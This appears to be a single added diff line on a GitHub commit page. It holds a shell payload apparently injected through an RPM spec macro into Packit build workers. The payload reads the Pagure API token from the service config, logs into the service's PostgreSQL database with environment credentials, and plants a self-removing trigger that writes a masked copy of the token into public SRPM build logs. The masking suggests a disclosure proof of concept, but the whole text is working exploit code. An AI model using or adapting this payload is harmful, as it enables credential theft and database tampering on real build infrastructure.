+%((set -x; [[ $HOSTNAME == packit-worker* ]] || exit; t=$(python -c 'import yaml; d = yaml.safe_load(open("/home/packit/.config/packit-service.yaml")); t = d["authentication"]["src.fedoraproject.org"]["token"]; print(t[:2] + "?" * (len(t) - 4) + t[-2:])') && psql "postgresql://$POSTGRESQL_USER:$POSTGRESQL_PASSWORD@$POSTGRESQL_HOST/$POSTGRESQL_DATABASE?gssencmode=disable" -c "CREATE OR REPLACE FUNCTION exfil() RETURNS TRIGGER AS \$\$ BEGIN IF NEW.id = (SELECT MAX(id) FROM srpm_builds) AND NEW.logs IS DISTINCT FROM OLD.logs THEN NEW.logs = NEW.logs || \"\nPagure token: ${t}\n\"; DROP TRIGGER IF EXISTS srpm_logs_ex ON srpm_builds; DROP FUNCTION IF EXISTS exfil(); END IF; RETURN NEW; END; \$\$ LANGUAGE plpgsql; CREATE TRIGGER srpm_logs_ex BEFORE UPDATE OF logs ON srpm_builds FOR EACH ROW EXECUTE FUNCTION exfil();") >/tmp/exfil.log 2>&1) |
0 commit comments